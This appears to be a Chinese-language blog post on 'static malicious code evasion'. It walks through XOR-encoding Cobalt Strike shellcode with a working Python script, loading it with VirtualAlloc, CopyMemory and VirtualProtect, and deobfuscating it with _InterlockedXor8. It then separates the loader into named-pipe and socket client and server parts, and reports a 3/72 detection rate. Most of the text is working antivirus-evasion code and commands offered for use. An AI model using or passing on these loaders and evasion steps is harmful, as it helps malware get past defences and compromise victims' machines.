静态恶意代码逃逸1
最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下
恶意代码与shellcode
Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode
CS生成的raw文件与C文件
在CS中,生成的Shellcode可以为raw文件和C文件
在英文中,raw可以被译为 生的,未加工的,而CS生成出来的就是bin文件,故raw文件是可以直接进行字节操作读取的,因此加载到内存较为方便
而C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的
对于载荷的混淆
核心思想是将shellcode进行混淆,而这里我们使用的是XOR
1
| new_shellcode = ord(old_shellcode) ^ key
|
这里贴一下大佬的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import sys from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw): shellcode = '' shellcode_size = 0 shellcode_raw = b'' try: while True: code = src_fp.read(1) if not code: break
base10 = ord(code) ^ num base10_str = chr(base10) shellcode_raw += base10_str.encode() code_hex = hex(base10) code_hex = code_hex.replace('0x','') if(len(code_hex) == 1): code_hex = '0' + code_hex shellcode += '\\x' + code_hex shellcode_size += 1 src_fp.close() dst_raw.write(shellcode_raw) dst_raw.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e))
def main(): parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com') parser.add_argument('-v','--version',nargs='?') parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True) parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True) parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90) parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True) args = parser.parse_args() shellcode_size = process_bin(args.num, args.src, args.dst, args.raw) sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__": main()
|
python3 .\xor_shellcoder.py -s .\payload.bin -d payload.c -n 10 -r out.bin
内存混淆加载
Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
而在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式有我们比较熟悉的malloc,new
,而后续我们可能用到更多的是VirtualAlloc
,其申请内存的单位为”页”
1 2 3 4 5 6 7 8
| char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); CopyMemory(shellcode,buf,shellcode_size);
|
优化内存申请
在申请内存页时,将其权限更改,因为直接赋予一个新内存可读可写可执行时的权限时,很容易被杀软查杀,所以我们可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行
1 2 3 4 5 6 7 8 9 10 11 12
| char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE );
CopyMemory(shellcode,buf,shellcode_size);
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);
|
优化混淆
我们之前在混淆Shellcode时,用到的是异或运算,常常杀软会对这种异或操作比较敏感,而在windows核心编程中,有相应的API可以直接使用,有InterlockedXorRelease
该函数,可以直接用于两个值的异或运算
1 2 3
| for(int i = 0;i<shellcode_size; i++){ _InterlockedXor8(buf+i,10); }
|
分离免杀与管道通信
分离免杀指的是将恶意代码放置在程序本身之外的一种加载方式,这个很好理解,主要是管道通信,简单的解释是:通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节
但这么解释还是比较抽象
首先我们先考虑进程通信的目的
- 数据传输:一个进程需要将它的数据发送给另一个进程
- 资源共享:多个进程之间共享同样的资源。
- 通知事件:一个进程需要向另一个或一组进程发送消息,通知它(它们)发生了某种事件(如进程终止时要通知父进程)。
- 进程控制:有些进程希望完全控制另一个进程的执行(如Debug进程),此时控制进程希望能够拦截另一个进程的所有陷入和异常,并能够及时知道它的状态改变。
而管道则是管道是Unix中最古老的进程间通信的形式,我们把从一个进程连接到另一个进程的一个数据流称为一个“管道 ”
1 2 3 4 5 6 7
| #include <unistd.h>
int pipe(int fd[2]);
|
因此,我们尝试使用管道通信,我们的目的主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程,下面分别为服务端与客户端,管道通信核心代码
1 2 3 4 5 6 7 8 9
| void recv(){ HANDLE hPipeClient; DWORD dwWritten; DWORD dwShellcodeSize = sizeof(buf); WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER); hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL); }
|
1 2 3 4 5 6 7 8 9
| hPipe = CreateNamedPipe( ptsPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE| PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFF_SIZE, BUFF_SIZE, 0, NULL);
|
优化管道通信
在一个程序里同时启动两个管道通信端口进行传输,还是很容易被查杀,下面尝试用网络套接字(SOCKET)来进行通信,将两个管道通信端分开编译
服务端核心代码
1 2 3 4 5 6 7 8
| WORD sockVersion = MAKEWORD(2, 2); WSADATA wsaData; SOCKET socks; SOCKET sClient; struct sockaddr_in s_client; INT nAddrLen = sizeof(s_client); SHORT sListenPort = 8888; struct sockaddr_in sin;
|
客户端核心代码
1 2 3 4 5 6 7
| WORD sockVersion = MAKEWORD(2, 2); WSADATA wsaData; SOCKET socks; SHORT sListenPort = 8888; sin.sin_family = AF_INET; sin.sin_port = htons(sListenPort); sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");
|
在利用网络套接字的管道通信下分开编译,此时的免杀效果已经十分显著了,3/72